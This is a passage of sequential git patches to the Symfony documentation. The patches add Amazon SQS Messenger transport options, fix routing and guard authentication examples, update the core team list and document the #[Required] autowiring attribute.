+The transport has a number of other options, including ways to configure
+the exchange, queues binding keys and more. See the documentation on
+:class:`Symfony\\Component\\Messenger\\Transport\\AmazonSqs\\Connection`.
+
+
 Serializing Messages
 ~~~~~~~~~~~~~~~~~~~~
 

From 47dbe33f5f0c5565d67686cf02c02845b8fcf4a5 Mon Sep 17 00:00:00 2001
From: Nyholm <tobias.nyholm@gmail.com>
Date: Sun, 11 Oct 2020 22:36:05 +0200
Subject: [PATCH 1313/7107] Added SQS Messenger docs

---
 messenger.rst | 52 +++++++++++++++++++++++++++++++++++++++++++++------
 1 file changed, 46 insertions(+), 6 deletions(-)

diff --git a/messenger.rst b/messenger.rst
index e22e2f02e21..0c71adc23c5 100644
--- a/messenger.rst
+++ b/messenger.rst
@@ -1168,17 +1168,54 @@ The ``SQS`` transport configuration looks like this:
 .. code-block:: bash
 
     # .env
-    MESSENGER_TRANSPORT_DSN=sqs://guest:guest@sqs.eu-west-3.amazonaws.com/test?region=eu-west-3
+    MESSENGER_TRANSPORT_DSN=sqs://AKIAIOSFODNN7EXAMPLE:j17M97ffSVoKI0briFoo9a@sqs.eu-west-3.amazonaws.com/messages
+    #MESSENGER_TRANSPORT_DSN=sqs://localhost:9494/messages?sslmode=disable
 
+.. note::
+
+    The transport will automatically create queues that are needed. This
+    can be disabled setting the "auto_setup" option to ``false``.
+
+A number of options can be configured via the DSN or via the ``options`` key
+under the transport in ``messenger.yaml``:
+
+==================  =====================================  ======================
+     Option         Description                            Default
+==================  =====================================  ======================
+endpoint            Absolute URL to the SQS service        https://sqs.eu-west-1.amazonaws.com
+region              Name of the AWS region                 eu-west-1
+queue_name          Name of the queue                      messages
+account             Identifier of the AWS account          The owner of the credentials
+access_key          AWS access key
+secret_key          AWS secret key
+buffer_size         Number of messages to prefetch         9
+wait_time           `Long polling`_ duration in seconds    20
+poll_timeout        Wait for new message duration in       0.1
+                    seconds
+visibility_timeout  Amount of seconds the message will     Queue's configuration
+                    not be visible (`Visibility Timeout`_)
+auto_setup          Whether the table should be created    true
+                    automatically during send / get.
+==================  =====================================  ======================
 
 .. note::
 
-    By default, the transport will automatically create queue that are needed. That can be disabled.
-    
-The transport has a number of other options, including ways to configure
-the exchange, queues binding keys and more. See the documentation on
-:class:`Symfony\\Component\\Messenger\\Transport\\AmazonSqs\\Connection`.
+    The ``wait_time`` parameter define the maximum duration Amazon SQS should
+    wait until a message is available in a queue before sending a response.
+    It helps reducing the cost of using Amazon SQS by eliminating the number
+    of empty responses.
+
+    The ``poll_timeout`` parameter define the duration the receiver should wait
+    before returning null. It avoids blocking other receivers from being called.
+
+.. note::
+
+    If the queue name is suffixed by ``.fifo``, AWS will creates a `FIFO queue`_
+    Use the stamp :class:`Symfony\Component\Messenger\Bridge\AmazonSqs\Transport\AmazonSqsFifoStamp`
+    to define the ``Message group ID`` and the ``Message deduplication ID``.
 
+    FIFO queues don't support setting a delay per message, a value of ``delay: 0``
+    is required in the retry strategy settings.
 
 Serializing Messages
 ~~~~~~~~~~~~~~~~~~~~
@@ -1753,3 +1790,6 @@ Learn more
 .. _`streams`: https://redis.io/topics/streams-intro
 .. _`Supervisor docs`: http://supervisord.org/
 .. _`SymfonyCasts' message serializer tutorial`: https://symfonycasts.com/screencast/messenger/transport-serializer
+.. _`Long polling`: https://docs.aws.amazon.com/AWSSimpleQueueService/latest/SQSDeveloperGuide/sqs-short-and-long-polling.html
+.. _`Visibility Timeout`: https://docs.aws.amazon.com/AWSSimpleQueueService/latest/SQSDeveloperGuide/sqs-visibility-timeout.html
+.. _`FIFO queue': https://docs.aws.amazon.com/AWSSimpleQueueService/latest/SQSDeveloperGuide/FIFO-queues.html

From 689df8cf1142d0c00ffc5e8fdd5acb82e7fe3d37 Mon Sep 17 00:00:00 2001
From: Nyholm <tobias.nyholm@gmail.com>
Date: Sun, 11 Oct 2020 22:40:43 +0200
Subject: [PATCH 1314/7107] cs

---
 messenger.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/messenger.rst b/messenger.rst
index 0c71adc23c5..c0c7b72477f 100644
--- a/messenger.rst
+++ b/messenger.rst
@@ -1211,7 +1211,7 @@ auto_setup          Whether the table should be created    true
 .. note::
 
     If the queue name is suffixed by ``.fifo``, AWS will creates a `FIFO queue`_
-    Use the stamp :class:`Symfony\Component\Messenger\Bridge\AmazonSqs\Transport\AmazonSqsFifoStamp`
+    Use the stamp :class:`Symfony\\Component\\Messenger\\Bridge\\AmazonSqs\\Transport\\AmazonSqsFifoStamp`
     to define the ``Message group ID`` and the ``Message deduplication ID``.
 
     FIFO queues don't support setting a delay per message, a value of ``delay: 0``

From d2fdd03de2aa6ae6ee1eb4ff6d223a6be16442a2 Mon Sep 17 00:00:00 2001
From: Nyholm <tobias.nyholm@gmail.com>
Date: Sun, 11 Oct 2020 22:50:38 +0200
Subject: [PATCH 1315/7107] syntax

---
 messenger.rst | 30 +++++++++++++++---------------
 1 file changed, 15 insertions(+), 15 deletions(-)

diff --git a/messenger.rst b/messenger.rst
index c0c7b72477f..b8ff1bcb795 100644
--- a/messenger.rst
+++ b/messenger.rst
@@ -1176,27 +1176,27 @@ The ``SQS`` transport configuration looks like this:
     The transport will automatically create queues that are needed. This
     can be disabled setting the "auto_setup" option to ``false``.
 
-A number of options can be configured via the DSN or via the ``options`` key
+A numbeXr of options can be configured via the DSN or via the ``options`` key
 under the transport in ``messenger.yaml``:
 
-==================  =====================================  ======================
-     Option         Description                            Default
-==================  =====================================  ======================
-endpoint            Absolute URL to the SQS service        https://sqs.eu-west-1.amazonaws.com
-region              Name of the AWS region                 eu-west-1
-queue_name          Name of the queue                      messages
-account             Identifier of the AWS account          The owner of the credentials
+==================  ======================================  ======================
+     Option         Description                             Default
+==================  ======================================  ======================
+endpoint            Absolute URL to the SQS service         https://sqs.eu-west-1.amazonaws.com
+region              Name of the AWS region                  eu-west-1
+queue_name          Name of the queue                       messages
+account             Identifier of the AWS account           The owner of the credentials
 access_key          AWS access key
 secret_key          AWS secret key
-buffer_size         Number of messages to prefetch         9
-wait_time           `Long polling`_ duration in seconds    20
-poll_timeout        Wait for new message duration in       0.1
+buffer_size         Number of messages to prefetch          9
+wait_time           `Long polling`_ duration in seconds     20
+poll_timeout        Wait for new message duration in        0.1
                     seconds
-visibility_timeout  Amount of seconds the message will     Queue's configuration
+visibility_timeout  Amount of seconds the message will      Queue's configuration
                     not be visible (`Visibility Timeout`_)
-auto_setup          Whether the table should be created    true
+auto_setup          Whether the table should be created     true
                     automatically during send / get.
-==================  =====================================  ======================
+==================  ======================================  ======================
 
 .. note::
 
@@ -1210,7 +1210,7 @@ auto_setup          Whether the table should be created    true
 
 .. note::
 
-    If the queue name is suffixed by ``.fifo``, AWS will creates a `FIFO queue`_
+    If the queue name is suffixed by ``.fifo``, AWS will creates a `FIFO queue`_.
     Use the stamp :class:`Symfony\\Component\\Messenger\\Bridge\\AmazonSqs\\Transport\\AmazonSqsFifoStamp`
     to define the ``Message group ID`` and the ``Message deduplication ID``.
 

From f56ddd3270f7c32538679ab3d4cba79672874448 Mon Sep 17 00:00:00 2001
From: Nyholm <tobias.nyholm@gmail.com>
Date: Sun, 11 Oct 2020 22:52:48 +0200
Subject: [PATCH 1316/7107] Syntax fix

---
 messenger.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/messenger.rst b/messenger.rst
index b8ff1bcb795..d80edfd273d 100644
--- a/messenger.rst
+++ b/messenger.rst
@@ -1792,4 +1792,4 @@ Learn more
 .. _`SymfonyCasts' message serializer tutorial`: https://symfonycasts.com/screencast/messenger/transport-serializer
 .. _`Long polling`: https://docs.aws.amazon.com/AWSSimpleQueueService/latest/SQSDeveloperGuide/sqs-short-and-long-polling.html
 .. _`Visibility Timeout`: https://docs.aws.amazon.com/AWSSimpleQueueService/latest/SQSDeveloperGuide/sqs-visibility-timeout.html
-.. _`FIFO queue': https://docs.aws.amazon.com/AWSSimpleQueueService/latest/SQSDeveloperGuide/FIFO-queues.html
+.. _`FIFO queue`: https://docs.aws.amazon.com/AWSSimpleQueueService/latest/SQSDeveloperGuide/FIFO-queues.html

From 5fa1465dfeba211eff941a13184196c3d0b74c6c Mon Sep 17 00:00:00 2001
From: Nyholm <tobias.nyholm@gmail.com>
Date: Sun, 11 Oct 2020 23:15:28 +0200
Subject: [PATCH 1317/7107] Typo

---
 messenger.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/messenger.rst b/messenger.rst
index d80edfd273d..416f52c10a2 100644
--- a/messenger.rst
+++ b/messenger.rst
@@ -1176,7 +1176,7 @@ The ``SQS`` transport configuration looks like this:
     The transport will automatically create queues that are needed. This
     can be disabled setting the "auto_setup" option to ``false``.
 
-A numbeXr of options can be configured via the DSN or via the ``options`` key
+A number of options can be configured via the DSN or via the ``options`` key
 under the transport in ``messenger.yaml``:
 
 ==================  ======================================  ======================

From d198bb747ef0750ffe3c111a6d76fa89db4b1dbe Mon Sep 17 00:00:00 2001
From: Nyholm <tobias.nyholm@gmail.com>
Date: Mon, 12 Oct 2020 08:21:55 +0200
Subject: [PATCH 1318/7107] minor

---
 messenger.rst | 2 --
 1 file changed, 2 deletions(-)

diff --git a/messenger.rst b/messenger.rst
index 416f52c10a2..5949732cdab 100644
--- a/messenger.rst
+++ b/messenger.rst
@@ -1360,7 +1360,6 @@ by tagging the handler service with ``messenger.message_handler``
                 'handles' => SmsNotification::class,
             ]);
 
-
 Possible options to configure with tags are:
 
 * ``bus``
@@ -1661,7 +1660,6 @@ middleware and *only* include your own:
             ],
         ]);
 
-
 .. note::
 
     If a middleware service is abstract, a different instance of the service will

From 7d530ac7227041614eea94ea347cfc3b397f65f6 Mon Sep 17 00:00:00 2001
From: Nyholm <tobias.nyholm@gmail.com>
Date: Mon, 12 Oct 2020 13:51:13 +0200
Subject: [PATCH 1319/7107] Typos

---
 messenger.rst | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/messenger.rst b/messenger.rst
index 5949732cdab..bbd1015903f 100644
--- a/messenger.rst
+++ b/messenger.rst
@@ -1200,17 +1200,17 @@ auto_setup          Whether the table should be created     true
 
 .. note::
 
-    The ``wait_time`` parameter define the maximum duration Amazon SQS should
+    The ``wait_time`` parameter defines the maximum duration Amazon SQS should
     wait until a message is available in a queue before sending a response.
     It helps reducing the cost of using Amazon SQS by eliminating the number
     of empty responses.
 
-    The ``poll_timeout`` parameter define the duration the receiver should wait
+    The ``poll_timeout`` parameter defines the duration the receiver should wait
     before returning null. It avoids blocking other receivers from being called.
 
 .. note::
 
-    If the queue name is suffixed by ``.fifo``, AWS will creates a `FIFO queue`_.
+    If the queue name is suffixed by ``.fifo``, AWS will create a `FIFO queue`_.
     Use the stamp :class:`Symfony\\Component\\Messenger\\Bridge\\AmazonSqs\\Transport\\AmazonSqsFifoStamp`
     to define the ``Message group ID`` and the ``Message deduplication ID``.
 

From cf4331b1d395aac5b81b637b064acde39e728059 Mon Sep 17 00:00:00 2001
From: Nyholm <tobias.nyholm@gmail.com>
Date: Mon, 12 Oct 2020 17:42:42 +0200
Subject: [PATCH 1320/7107] Sort alphabetically

---
 messenger.rst | 16 ++++++++--------
 1 file changed, 8 insertions(+), 8 deletions(-)

diff --git a/messenger.rst b/messenger.rst
index bbd1015903f..387c99bd47f 100644
--- a/messenger.rst
+++ b/messenger.rst
@@ -1182,20 +1182,20 @@ under the transport in ``messenger.yaml``:
 ==================  ======================================  ======================
      Option         Description                             Default
 ==================  ======================================  ======================
-endpoint            Absolute URL to the SQS service         https://sqs.eu-west-1.amazonaws.com
-region              Name of the AWS region                  eu-west-1
-queue_name          Name of the queue                       messages
-account             Identifier of the AWS account           The owner of the credentials
 access_key          AWS access key
-secret_key          AWS secret key
+account             Identifier of the AWS account           The owner of the credentials
+auto_setup          Whether the table should be created     true
+                    automatically during send / get.
 buffer_size         Number of messages to prefetch          9
-wait_time           `Long polling`_ duration in seconds     20
+endpoint            Absolute URL to the SQS service         https://sqs.eu-west-1.amazonaws.com
 poll_timeout        Wait for new message duration in        0.1
                     seconds
+queue_name          Name of the queue                       messages
+region              Name of the AWS region                  eu-west-1
+secret_key          AWS secret key
 visibility_timeout  Amount of seconds the message will      Queue's configuration
                     not be visible (`Visibility Timeout`_)
-auto_setup          Whether the table should be created     true
-                    automatically during send / get.
+wait_time           `Long polling`_ duration in seconds     20
 ==================  ======================================  ======================
 
 .. note::

From 23fd9b401c6b6014551e7ce423d694809b456ecd Mon Sep 17 00:00:00 2001
From: Wouter de Jong <wouter@wouterj.nl>
Date: Tue, 13 Oct 2020 18:37:18 +0200
Subject: [PATCH 1321/7107] [#14391] Minor (mostly formatting) improvements

---
 messenger.rst | 49 +++++++++++++++++++++++++------------------------
 1 file changed, 25 insertions(+), 24 deletions(-)

diff --git a/messenger.rst b/messenger.rst
index 387c99bd47f..a5ee804a567 100644
--- a/messenger.rst
+++ b/messenger.rst
@@ -1156,16 +1156,17 @@ Amazon SQS
 
 .. versionadded:: 5.1
 
-    The Amazon SQS transport has been added in Symfony 5.1
-    Install it by running:
+    The Amazon SQS transport as introduced in Symfony 5.1.
 
-    .. code-block:: terminal
+Install Amazon SQS transport by running:
 
-        $ composer require symfony/amazon-sqs-messenger
+.. code-block:: terminal
+
+    $ composer require symfony/amazon-sqs-messenger
 
 The ``SQS`` transport configuration looks like this:
 
-.. code-block:: bash
+.. code-block:: env
 
     # .env
     MESSENGER_TRANSPORT_DSN=sqs://AKIAIOSFODNN7EXAMPLE:j17M97ffSVoKI0briFoo9a@sqs.eu-west-3.amazonaws.com/messages
@@ -1174,29 +1175,29 @@ The ``SQS`` transport configuration looks like this:
 .. note::
 
     The transport will automatically create queues that are needed. This
-    can be disabled setting the "auto_setup" option to ``false``.
+    can be disabled setting the ``auto_setup`` option to ``false``.
 
 A number of options can be configured via the DSN or via the ``options`` key
 under the transport in ``messenger.yaml``:
 
-==================  ======================================  ======================
-     Option         Description                             Default
-==================  ======================================  ======================
-access_key          AWS access key
-account             Identifier of the AWS account           The owner of the credentials
-auto_setup          Whether the table should be created     true
-                    automatically during send / get.
-buffer_size         Number of messages to prefetch          9
-endpoint            Absolute URL to the SQS service         https://sqs.eu-west-1.amazonaws.com
-poll_timeout        Wait for new message duration in        0.1
-                    seconds
-queue_name          Name of the queue                       messages
-region              Name of the AWS region                  eu-west-1
-secret_key          AWS secret key
-visibility_timeout  Amount of seconds the message will      Queue's configuration
-                    not be visible (`Visibility Timeout`_)
-wait_time           `Long polling`_ duration in seconds     20
-==================  ======================================  ======================
+======================  ======================================  ===================================
+     Option             Description                             Default
+======================  ======================================  ===================================
+``access_key``          AWS access key
+``account``             Identifier of the AWS account           The owner of the credentials
+``auto_setup``          Whether the table should be created     ``true``
+                        automatically during send / get.
+``buffer_size``         Number of messages to prefetch          9
+``endpoint``            Absolute URL to the SQS service         https://sqs.eu-west-1.amazonaws.com
+``poll_timeout``        Wait for new message duration in        0.1
+                        seconds
+``queue_name``          Name of the queue                       messages
+``region``              Name of the AWS region                  eu-west-1
+``secret_key``          AWS secret key
+``visibility_timeout``  Amount of seconds the message will      Queue's configuration
+                        not be visible (`Visibility Timeout`_)
+``wait_time``           `Long polling`_ duration in seconds     20
+======================  ======================================  ===================================
 
 .. note::
 

From 3c0372a0133b29b0fabb537bba15cc22a2cee1a3 Mon Sep 17 00:00:00 2001
From: Nyholm <tobias.nyholm@gmail.com>
Date: Tue, 13 Oct 2020 21:14:17 +0200
Subject: [PATCH 1322/7107] Use updated dependencies

---
 _build/.requirements.txt | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/_build/.requirements.txt b/_build/.requirements.txt
index 47f076e9403..26a019bfa6b 100644
--- a/_build/.requirements.txt
+++ b/_build/.requirements.txt
@@ -1,6 +1,6 @@
 docutils==0.13.1
 Pygments==2.2.0
 sphinx==1.8.5
-git+https://github.com/fabpot/sphinx-php.git@v2.0.0#egg_name=sphinx-php
+git+https://github.com/fabpot/sphinx-php.git@v2.0.2#egg_name=sphinx-php
 jsx-lexer===0.0.8
 sphinx_rtd_theme==0.5.0

From d243017fc697e6a4a3f5cca557f6cac3051ba175 Mon Sep 17 00:00:00 2001
From: Laurent VOULLEMIER <laurent.voullemier@gmail.com>
Date: Tue, 13 Oct 2020 21:35:31 +0200
Subject: [PATCH 1323/7107] Fix link to acquireRead

Should target SharedLockInterface instead of LockInterface
---
 components/lock.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/components/lock.rst b/components/lock.rst
index d34908c2777..518a01c9375 100644
--- a/components/lock.rst
+++ b/components/lock.rst
@@ -221,7 +221,7 @@ but an exclusive lock is needed for writing or modifying data. They are used for
 example for data structures that cannot be updated atomically and are invalid
 until the update is complete.
 
-Use the :method:`Symfony\\Component\\Lock\\LockInterface::acquireRead` method
+Use the :method:`Symfony\\Component\\Lock\\SharedLockInterface::acquireRead` method
 to acquire a read-only lock, and the existing
 :method:`Symfony\\Component\\Lock\\LockInterface::acquire` method to acquire a
 write lock::

From 1c994710dad7642c8d7c70d97a8080d58a98c5f5 Mon Sep 17 00:00:00 2001
From: Lubo Grozdanov <grozdanov.lubo@gmail.com>
Date: Wed, 14 Oct 2020 09:01:47 +0300
Subject: [PATCH 1324/7107] Update front_controllers_and_kernel.rst

---
 configuration/front_controllers_and_kernel.rst | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/configuration/front_controllers_and_kernel.rst b/configuration/front_controllers_and_kernel.rst
index 090abb86e55..fe3c8179ed0 100644
--- a/configuration/front_controllers_and_kernel.rst
+++ b/configuration/front_controllers_and_kernel.rst
@@ -244,15 +244,15 @@ the directory of the environment you're using (most commonly ``dev/`` while
 developing and debugging). While it can vary, the ``var/cache/dev/`` directory
 includes the following:
 
-``appDevDebugProjectContainer.php``
+``srcApp_KernelDevDebugContainer.php``
     The cached "service container" that represents the cached application
     configuration.
 
-``appDevUrlGenerator.php``
+``UrlGenerator.php``
     The PHP class generated from the routing configuration and used when
     generating URLs.
 
-``appDevUrlMatcher.php``
+``UrlMatcher.php``
     The PHP class used for route matching - look here to see the compiled regular
     expression logic used to match incoming URLs to different routes.
 

From ff8c0adf6880c73fcbdd0ec29dfdfee3a51ba8a3 Mon Sep 17 00:00:00 2001
From: Christian Flothmann <christian.flothmann@sensiolabs.de>
Date: Wed, 14 Oct 2020 09:08:40 +0200
Subject: [PATCH 1325/7107] tweak paragraph about multiple Docker Composer
 files

---
 setup/symfony_server.rst | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/setup/symfony_server.rst b/setup/symfony_server.rst
index 5a1c408efa6..70155de0637 100644
--- a/setup/symfony_server.rst
+++ b/setup/symfony_server.rst
@@ -375,8 +375,8 @@ its location, same as for ``docker-compose``:
 
 .. note::
 
-    If you have more than one docker-compose files you can provide them all
-    separated by ``:``, as explained in the `Docker compose CLI env var reference`_.
+    If you have more than one Docker Compose file, you can provide them all
+    separated by ``:`` as explained in the `Docker compose CLI env var reference`_.
 
 SymfonyCloud Integration
 ------------------------

From 6a74ba61f5f07b02c8048a5b0095ecb62f5d8ae5 Mon Sep 17 00:00:00 2001
From: Nyholm <tobias.nyholm@gmail.com>
Date: Tue, 13 Oct 2020 10:55:37 +0200
Subject: [PATCH 1326/7107] You need doctrine/annotations for route annotation
 support.

---
 routing.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/routing.rst b/routing.rst
index 60f5c8aa664..9bd09e531cc 100644
--- a/routing.rst
+++ b/routing.rst
@@ -27,7 +27,7 @@ Run this command once in your application to add support for annotations:
 
 .. code-block:: terminal
 
-    $ composer require annotations
+    $ composer require doctrine/annotations
 
 In addition to installing the needed dependencies, this command creates the
 following configuration file:

From 41b79833f70e2fe75bbc63a0249d23142f7452b7 Mon Sep 17 00:00:00 2001
From: Nyholm <tobias.nyholm@gmail.com>
Date: Tue, 13 Oct 2020 10:55:37 +0200
Subject: [PATCH 1327/7107] [Routing] Better use of composer require

---
 routing.rst | 7 +++----
 1 file changed, 3 insertions(+), 4 deletions(-)

diff --git a/routing.rst b/routing.rst
index 832b5df2c53..a051e446612 100644
--- a/routing.rst
+++ b/routing.rst
@@ -33,7 +33,7 @@ once in your application to enable them:
 
 .. code-block:: terminal
 
-    $ composer require annotations
+    $ composer require doctrine/annotations
 
 .. versionadded:: 5.2
 
@@ -1063,12 +1063,11 @@ integer acting as the user ID) into another value (e.g. the object that
 represents the user). This feature is called "param converter" and is only
 available when using annotations to define routes.
 
-In case you didn't run this command before, run it now to add support for
-annotations and "param converters":
+To add support for "param converters" we need SensioFrameworkExtraBundle:
 
 .. code-block:: terminal
 
-    $ composer require annotations
+    $ composer require sensio/framework-extra-bundle
 
 Now, keep the previous route configuration, but change the arguments of the
 controller action. Instead of ``string $slug``, add ``BlogPost $post``::

From c41f88cc6fc29a0ed816d743c810893ebf069aa6 Mon Sep 17 00:00:00 2001
From: Thomas Landauer <thomas@landauer.at>
Date: Wed, 25 Mar 2020 11:57:31 +0100
Subject: [PATCH 1328/7107] Added missing security.yaml config

---
 security/guard_authentication.rst | 65 +++++++++++++++++++++++++++++--
 1 file changed, 61 insertions(+), 4 deletions(-)

diff --git a/security/guard_authentication.rst b/security/guard_authentication.rst
index b229fe733af..e5a65958ef3 100644
--- a/security/guard_authentication.rst
+++ b/security/guard_authentication.rst
@@ -49,6 +49,63 @@ Don't forget to generate and execute the migration:
     $ php bin/console make:migration
     $ php bin/console doctrine:migrations:migrate
 
+Next, configure your "user provider" to use this new ``apiToken`` property:
+
+.. configuration-block::
+
+    .. code-block:: yaml
+
+        # config/packages/security.yaml
+        security:
+            # ...
+
+            providers:
+                your_db_provider:
+                    entity:
+                        class: App\Entity\User
+                        property: apiToken
+
+            # ...
+
+    .. code-block:: xml
+
+        <!-- config/packages/security.xml -->
+        <?xml version="1.0" encoding="UTF-8"?>
+        <srv:container xmlns="http://symfony.com/schema/dic/security"
+            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+            xmlns:srv="http://symfony.com/schema/dic/services"
+            xsi:schemaLocation="http://symfony.com/schema/dic/services
+                https://symfony.com/schema/dic/services/services-1.0.xsd">
+
+            <config>
+                <!-- ... -->
+
+                <provider name="your_db_provider">
+                    <entity class="App\Entity\User" property="apiToken"/>
+                </provider>
+
+                <!-- ... -->
+            </config>
+        </srv:container>
+
+    .. code-block:: php
+
+        // config/packages/security.php
+        $container->loadFromExtension('security', [
+            // ...
+
+            'providers' => [
+                'your_db_provider' => [
+                    'entity' => [
+                        'class' => 'App\Entity\User',
+                        'property' => 'apiToken',
+                    ],
+                ],
+            ],
+
+            // ...
+        ]);
+
 Step 2) Create the Authenticator Class
 --------------------------------------
 
@@ -108,10 +165,10 @@ This requires you to implement several methods::
                 return null;
             }
 
-            // if a User is returned, checkCredentials() is called
-            return $this->em->getRepository(User::class)
-                ->findOneBy(['apiToken' => $credentials])
-            ;
+            // The "username" in this case is the apiToken, see the key `property`
+            // of `your_db_provider` in `security.yaml`.
+            // If this returns a user, checkCredentials() is called next:
+            return $userProvider->loadUserByUsername($apiToken);
         }
 
         public function checkCredentials($credentials, UserInterface $user)

From 23164fea42245d658e0c6ac5860931d3244610cd Mon Sep 17 00:00:00 2001
From: Ivan <Chi-teck@users.noreply.github.com>
Date: Mon, 12 Oct 2020 09:42:37 +0500
Subject: [PATCH 1329/7107] Enclose a value with ampersands in single quotes

---
 components/phpunit_bridge.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/components/phpunit_bridge.rst b/components/phpunit_bridge.rst
index 31d5de1759b..d1888cd4f6e 100644
--- a/components/phpunit_bridge.rst
+++ b/components/phpunit_bridge.rst
@@ -234,7 +234,7 @@ You can have even finer-grained control by using other keys of the ``max``
 array, which are ``self``, ``direct``, and ``indirect``. The
 ``SYMFONY_DEPRECATIONS_HELPER`` environment variable accepts a URL-encoded
 string, meaning you can combine thresholds and any other configuration setting,
-like this: ``SYMFONY_DEPRECATIONS_HELPER=max[total]=42&max[self]=0&verbose=0``
+like this: ``SYMFONY_DEPRECATIONS_HELPER='max[total]=42&max[self]=0&verbose=0'``
 
 Internal deprecations
 .....................

From 25012dac9e7daaa3ebd8503719a9ee72802e88b2 Mon Sep 17 00:00:00 2001
From: Jannik <hi+github@jannik.io>
Date: Wed, 14 Oct 2020 14:00:01 +0200
Subject: [PATCH 1330/7107] Fix invalid variable name

---
 security/guard_authentication.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/security/guard_authentication.rst b/security/guard_authentication.rst
index 945d9deccc8..edbd6f122ee 100644
--- a/security/guard_authentication.rst
+++ b/security/guard_authentication.rst
@@ -168,7 +168,7 @@ This requires you to implement several methods::
             // The "username" in this case is the apiToken, see the key `property`
             // of `your_db_provider` in `security.yaml`.
             // If this returns a user, checkCredentials() is called next:
-            return $userProvider->loadUserByUsername($apiToken);
+            return $userProvider->loadUserByUsername($credentials);
         }
 
         public function checkCredentials($credentials, UserInterface $user)

From 35361bece161701505cdedac1fd4196991971fdb Mon Sep 17 00:00:00 2001
From: Fabien Potencier <fabien@potencier.org>
Date: Wed, 14 Oct 2020 17:37:40 +0200
Subject: [PATCH 1331/7107] Add new core team members

---
 contributing/code/core_team.rst | 11 +++++++++--
 1 file changed, 9 insertions(+), 2 deletions(-)

diff --git a/contributing/code/core_team.rst b/contributing/code/core_team.rst
index 1c6c64bbc98..47fba9c2d94 100644
--- a/contributing/code/core_team.rst
+++ b/contributing/code/core_team.rst
@@ -67,12 +67,17 @@ Active Core Members
   * **Robin Chalas** (`chalasr`_);
   * **Maxime Steinhausser** (`ogizanagi`_);
   * **Samuel Rozé** (`sroze`_);
-  * **Yonel Ceruto** (`yceruto`_).
+  * **Yonel Ceruto** (`yceruto`_);
+  * **Tobias Nyholm** (`Nyholm`_);
+  * **Wouter De Jong** (`wouterj`_);
+  * **Alexander M. Turek** (`derrabus`_);
+  * **Jérémy Derussé** (`jderusse`_).
 
 * **Security Team** (``@symfony/security`` on GitHub):
 
   * **Fabien Potencier** (`fabpot`_);
-  * **Michael Cullum** (`michaelcullum`_).
+  * **Michael Cullum** (`michaelcullum`_);
+  * **Jérémy Derussé** (`jderusse`_).
 
 * **Recipes Team**:
 
@@ -200,3 +205,5 @@ discretion of the **Project Leader**.
 .. _`OskarStark`: https://github.com/OskarStark
 .. _`romainneutron`: https://github.com/romainneutron
 .. _`lsmith77`: https://github.com/lsmith77/
+.. _`derrabus`: https://github.com/derrabus/
+.. _`jderusse`: https://github.com/jderusse/

From 701f704a73403ef5207c5df1bcfd6b9cec8550b3 Mon Sep 17 00:00:00 2001
From: "Alexander M. Turek" <me@derrabus.de>
Date: Mon, 12 Oct 2020 22:07:45 +0200
Subject: [PATCH 1332/7107] [DependencyInjection] Document the Required
 attribute.

---
 service_container/autowiring.rst | 111 +++++++++++++++++++++++--------
 service_container/calls.rst      |   2 +-
 2 files changed, 85 insertions(+), 28 deletions(-)

diff --git a/service_container/autowiring.rst b/service_container/autowiring.rst
index 9c855152a9a..56a117f7b16 100644
--- a/service_container/autowiring.rst
+++ b/service_container/autowiring.rst
@@ -544,50 +544,107 @@ Autowiring other Methods (e.g. Setters and Public Typed Properties)
 
 When autowiring is enabled for a service, you can *also* configure the container
 to call methods on your class when it's instantiated. For example, suppose you want
-to inject the ``logger`` service, and decide to use setter-injection::
+to inject the ``logger`` service, and decide to use setter-injection:
 
-    // src/Util/Rot13Transformer.php
-    namespace App\Util;
+.. configuration-block::
 
-    class Rot13Transformer
-    {
-        private $logger;
+    .. code-block:: php-annotations
 
-        /**
-         * @required
-         */
-        public function setLogger(LoggerInterface $logger)
+        // src/Util/Rot13Transformer.php
+        namespace App\Util;
+
+        class Rot13Transformer
         {
-            $this->logger = $logger;
+            private $logger;
+
+            /**
+            * @required
+            */
+            public function setLogger(LoggerInterface $logger)
+            {
+                $this->logger = $logger;
+            }
+
+            public function transform($value)
+            {
+                $this->logger->info('Transforming '.$value);
+                // ...
+            }
         }
 
-        public function transform($value)
+    .. code-block:: php-attributes
+
+        // src/Util/Rot13Transformer.php
+        namespace App\Util;
+
+        use Symfony\Contracts\Service\Attribute\Required;
+
+        class Rot13Transformer
         {
-            $this->logger->info('Transforming '.$value);
-            // ...
+            private $logger;
+
+            #[Required]
+            public function setLogger(LoggerInterface $logger)
+            {
+                $this->logger = $logger;
+            }
+
+            public function transform($value)
+            {
+                $this->logger->info('Transforming '.$value);
+                // ...
+            }
         }
-    }
 
-Autowiring will automatically call *any* method with the ``@required`` annotation
+Autowiring will automatically call *any* method with the ``#[Required]`` attribute
 above it, autowiring each argument. If you need to manually wire some of the arguments
 to a method, you can always explicitly :doc:`configure the method call </service_container/calls>`.
 
-Despite property injection has some :ref:`drawbacks <property-injection>`, autowiring with ``@required`` annotation
-can also be applied to public typed properties::
+If you need to stay compatible with PHP 7 and thus cannot use attributes, you can use
+the ``@required`` annotation instead.
 
-    namespace App\Util;
+.. versionadded:: 5.2
 
-    class Rot13Transformer
-    {
-        /** @required */
-        public LoggerInterface $logger;
+    The ``#[Required]`` attribute was introduced in Symfony 5.2.
 
-        public function transform($value)
+Despite property injection has some :ref:`drawbacks <property-injection>`, autowiring with ``#[Required]``
+or ``@required`` can also be applied to public typed properties::
+
+.. configuration-block::
+
+    .. code-block:: php-annotations
+
+        namespace App\Util;
+
+        class Rot13Transformer
         {
-            $this->logger->info('Transforming '.$value);
-            // ...
+            /** @required */
+            public LoggerInterface $logger;
+
+            public function transform($value)
+            {
+                $this->logger->info('Transforming '.$value);
+                // ...
+            }
+        }
+
+    .. code-block:: php-attributes
+
